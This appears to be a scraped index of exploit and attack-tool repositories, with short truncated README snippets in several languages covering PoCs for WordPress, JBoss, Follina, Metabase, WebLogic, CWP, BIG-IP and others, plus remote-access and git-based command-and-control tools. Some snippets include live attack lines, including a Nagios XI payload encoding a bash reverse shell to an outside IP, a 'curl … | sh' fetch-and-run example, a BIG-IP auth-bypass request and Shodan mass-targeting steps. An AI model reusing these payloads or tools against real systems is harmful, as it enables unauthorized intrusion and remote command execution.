wp2shell-poc

wp2shell PoC 首个针对 WordPress REST API 批量路由混淆链的基于时间的预认证 SQL 注入 PoC CVE-2026-63030 + CVE-2026-60137 实现了命令执行，而不仅仅是尝试破解管理员密码。 受影响版本： WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1。已在 6.9.5 和 7.0.2 中修复。 python3 poc.py https://target.example python3 poc.py https://target.example 'SELECT DATABASE' python3 poc.py...

jboss-_CVE-2017-12149

jboss-CVE-2017-12149 verifyCVE-2017-12149.jar provides a command-line mode to verify the vulnerability. If the vulnerability exists, it returns a characteristic string. Simply execute the command: $ java -jar verifyCVE-2017-12149.jar http://xxx:8080 成功返回: vuln6581362514513155613jboss...

Follina_Exploiter_CLI

Herramienta CLI de explotación Follina Vulnerabilidad MSDT CVE-2022-30190 Una herramienta Python basada en línea de comandos para explotar la vulnerabilidad Zero-Day en MSDT Microsoft Support Diagnostic Tool, también conocida como 'Follina' CVE-2022-30190. Información: Nuevo día cero de Microsoft...

CVE-2022-26134

CVE-2022-26134 1. Primero ejecute los scripts de Shodan para obtener todas las IPs python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt ej: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. Para todas las IPs válidas...

CVE-2019-19383

CVE-2019-19383 FreeFTPd 1.0.8 Desbordamiento de búfer posterior a la autenticación mediante el comando "SIZE". Este exploit se publica tal cual para aumentar la conciencia de seguridad en interés público y con fines educativos. No utilice este código para actividades delictivas...

Flerken

Flerken Introducción Se ha demostrado que la Ofuscación de Línea de Comandos CLOB es un factor no despreciable en el malware sin archivos o actores maliciosos que "viven de la tierra". Aunque se ven docenas de herramientas de ofuscación en la naturaleza, pocas contramedidas adecuadas se pueden...

CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script de Python que explota la vulnerabilidad de ejecución remota de código del software de inicio de sesión de Metabase. Permite ejecutar comandos arbitrarios en el servidor antes de la autenticación. Las versiones vulnerables son Metabase ope...

CVE-2020-14883EXP

CVE-2020-14883EXP Utilizado para verificar y explotar WebLogic 10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0, no lo use con fines ilegales. Ingrese IP + puerto para iniciar la verificación p. ej., 127.0.0.1:7001 Admite ejecución remota de comandos XML Para versiones distintas de...

CVE-2022-44877

Centos Web Panel 7 Ejecución remota de código no autenticada - CVE-2022-44877 + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog roo...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an ima...

CVE-2019-20197

CVE-2019-20197 Vulnerabilidad de ejecución remota de comandos en Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2023-20198

CVE-2023-20198 PoC de exploit para CVE-2023-20198 Descripción CVE-2023-20198 se caracteriza por una validación de ruta incorrecta para eludir el filtrado de Nginx y alcanzar el endpoint web webuiwsmahttp sin requerir autenticación. Al eludir la autenticación en el endpoint, un atacante puede...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD Information This repository contains necessary files to build a Docker image that contains a vulnerable environment of OpenSMTPD 6.6.1p1. The vulnerability allows an attacker to execute arbitrary commands through a specially crafted SMTP session, specifically in the MAIL...

CVE-2022-45025

CVE-2022-45025 Inyección de comandos a través de la importación de PDF en Markdown Preview Enhanced VSCode, Atom Descripción La librería de herramientas Markdown Mume era vulnerable a inyección de comandos debido al uso del comando spawn con la opción shell: true. Esto podría permitir a un atacan...

CVE-2018-6961

CVE-2018-6961 - VULNERABILIDAD DE INYECCIÓN DE COMANDOS NO AUTENTICADA Este exploit funciona en Python2.7 - No probado en ninguna otra versión 1 Instalar dependencias pip install request si no tienes pip instalado, simplemente ejecuta apt-get install python-pip 2 Uso python exployt.py --rhost...

CVE-2026-57517-CWP

CVE-2026-57517 CWP Exploit This repository contains a Go-based proof-of-concept tool for testing a known Control Web Panel CWP vulnerability scenario related to CVE-2026-57517. The implementation targets a blind SQL injection path and includes optional webshell deployment and command execution fl...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST vulnerability CVE-2022-1388 Usage This POC is Verified! curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

PyRat

PyRat PyRat es un proyecto de control remoto de código abierto basado en XmlRPC de Python, que incluye un cliente y un servidor también llamado controlador, de ahora en adelante denominado servidor. Declaración: El proyecto es solo para intercambio técnico, no lo utilice con fines comerciales o...

gitpwnd

GitPwnd GitPwnd는 네트워크 침투 테스트를 돕는 도구입니다. GitPwnd를 사용하면 공격자가 손상된 머신에 명령을 보내고 git 저장소를 명령 및 제어 전송 계층으로 사용하여 결과를 다시 받을 수 있습니다. git을 통신 메커니즘으로 사용함으로써, 손상된 머신은 해당 머신이 신뢰하지 않는 호스트 또는 IP에 있을 가능성이 높은 공격 서버와 직접 통신할 필요가 없습니다. 현재 GitPwnd는 명령 및 제어 git 저장소가 GitHub에 호스팅된다고 가정하지만, 이는 현재 버전의 구현 세부 사항일 뿐입니다. 이와 동일...

CVE-2026-48732-poc

CVE-2026-48732: Warp Remote SSH cwd Command Injection PoC Description This repository contains a Proof of Concept PoC for CVE-2026-48732 , a high severity OS Command Injection vulnerability in Warp legacy SSH background command handling. Affected Warp versions used the remote working directory cw...